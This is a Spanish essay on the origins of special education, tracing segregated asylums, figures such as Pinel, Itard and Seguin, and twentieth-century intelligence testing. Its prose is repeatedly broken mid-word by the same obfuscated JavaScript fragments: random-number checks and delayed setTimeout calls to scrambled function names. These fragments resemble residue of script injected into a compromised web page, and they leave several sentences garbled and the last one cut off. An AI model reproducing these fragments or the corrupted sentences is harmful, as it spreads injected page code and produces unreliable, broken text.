EL NACIMIENTO DE LA EDUCACIÓN ESPECIAL

Autor: Amaro Dópido Tolosa

INTRODUCCIÓN

           El nacimiento de la educación especial se sitúa en torno al siglo XVIII y principios del XIX, donde surgieron las primeras instituciones especializadas en la atención de personas con deficiencias (ciegos, sordos y retrasados mentales), aunque cabe decir que la atención tenía un carácter más asistencial que educativo.

           A las personas “no normales” se les consideraba como un peligro para la sociedad, o al revés: debían estar protegidos de ella porque eran indefensos. Por ello, se construían los centros a las afueras de las ciudades, con la excusa de ofrecerles un ambiente saludable. El resultado era el aislamiento y la segregación. Pero la institución tranquilizaba la conciencia colectiva: se estaban proporcionandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando cuidados y asistencia a discapacitados sin que su presencia ofendiera a la comunidad.

           Los centros alojaban a personas discapacitadas de manera heterogénea; no se hacían distinciones: igual se atendía a personas con retraso mental, que a enfermos mentales, a ciegos, sordos, vagos, prostitutas…

           Estas instituciones se extendieron desde 1800 a 1900 por toda Europa y América, y, muchas de ellas, bajo la protección de ciertos sectores de la sociedad, que pensaban que, haciendo este gran esfuerzo económico para mantenerlas, estaban haciendo meritos para ganarse el cielo. De ahí, los nombres que les dan: “Santo Ángel de la Guarda”,” La Virgen Niña”…

           Según García (1989) esta situación se prolonga hasta mediados del siglo XIX, debido a las siguientes causas negativas:

-   Actitudes negativas hacia los deficientes.

-   Abuso de la psicometría con finalidades de etiquetado, para segregarlos más.

-   Pensamiento de que el deficiente es un elemento perturbador de la sociedad.

-   Abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andono de profesionales relevantes, al ver que no encontraban un camino.

           A pesar de todo, en esta época también existieron figuras y acontecimientos importantes que hacen avanzar la Educación Especial:

-   Pinel se dedicó al tratamiento médico de los retrasados mentales.

-   Esquirol establece la diferencia entre demente e idiota.

-   Itard trabajó en la reeducación del niño salvaje de Aveyron.

-   Seguin, considerado como el verdadero creador de la Educación Especial, elaboró un método para la educación de “idiotas”.

           Con todos ellos, el tratamiento médico-pedagógico de la deficiencia mental dará un giro considerable: saldrá definitivamente del aura mítica, pecaminosa, mágica y asistencial que tradicionalmente lo había envuelto y se incorporará a categorías científicas, terapéuticas y pedagógicas.

           Pero el nacimiento formal de la educación especial surgió al inicio del siglo XX, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se estableció con obligatoriedad la enseñanza elemental para todos los niños. A partir de ahí, afloran alumnos que no son capaces de seguir el ritmo del resto de sus compañeros y, por ello, surge la necesidad de adoptar procedimientos diferentes y de clasificar a los alumnos según su nivel de inteligencia, a través, por ejemplo, de test de inteligencia de Binet-Simon: los alumnos cuyos cocientes de inteligencia estuvieron por debajo se escolarizaban en centros específicos de educación especial.

           Durante la primera mitad del siglo XX, el concepto de deficiencia incluía las características de innatismo y la  estabilidad a lo largo del tiempo. Las personas deficientes lo eran por causas, sobre todo, orgánicas, que se originaban al comienzo de su desarrollo, siendo difícilmente modificables posteriormente.

           Esta concepción trajo consigo un gran número de estudios que trataron de organizar las deficiencias en distintas categorías que iban ampliándose y especializándose, pero siempre manteniendo el hecho de que el trastorno era un problema inherente en el niño, sin posibilidades de intervención.

          Sin embargo, en los años 40 y 50 se inician cambios importantes: se comienzan a cuestionar el origen y la incurabilidad del trastorno, a la vez que se abre con más fuerza las previsiones ambientalistas respecto a la deficiencia.

           A mediados de este siglo, según Siegel, el fracaso que experimentó la educación general por atender las diferencias individuales fue la base de la educación especial, que emergió como un subsistema aparte del sistema educativo general. Realizaban programas y servicios específicos en unos edificios llamados centros de educación especial (CEE), por ser distintos de los centros ordinarios.  En dichos centros, progresivamente, se iba dandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}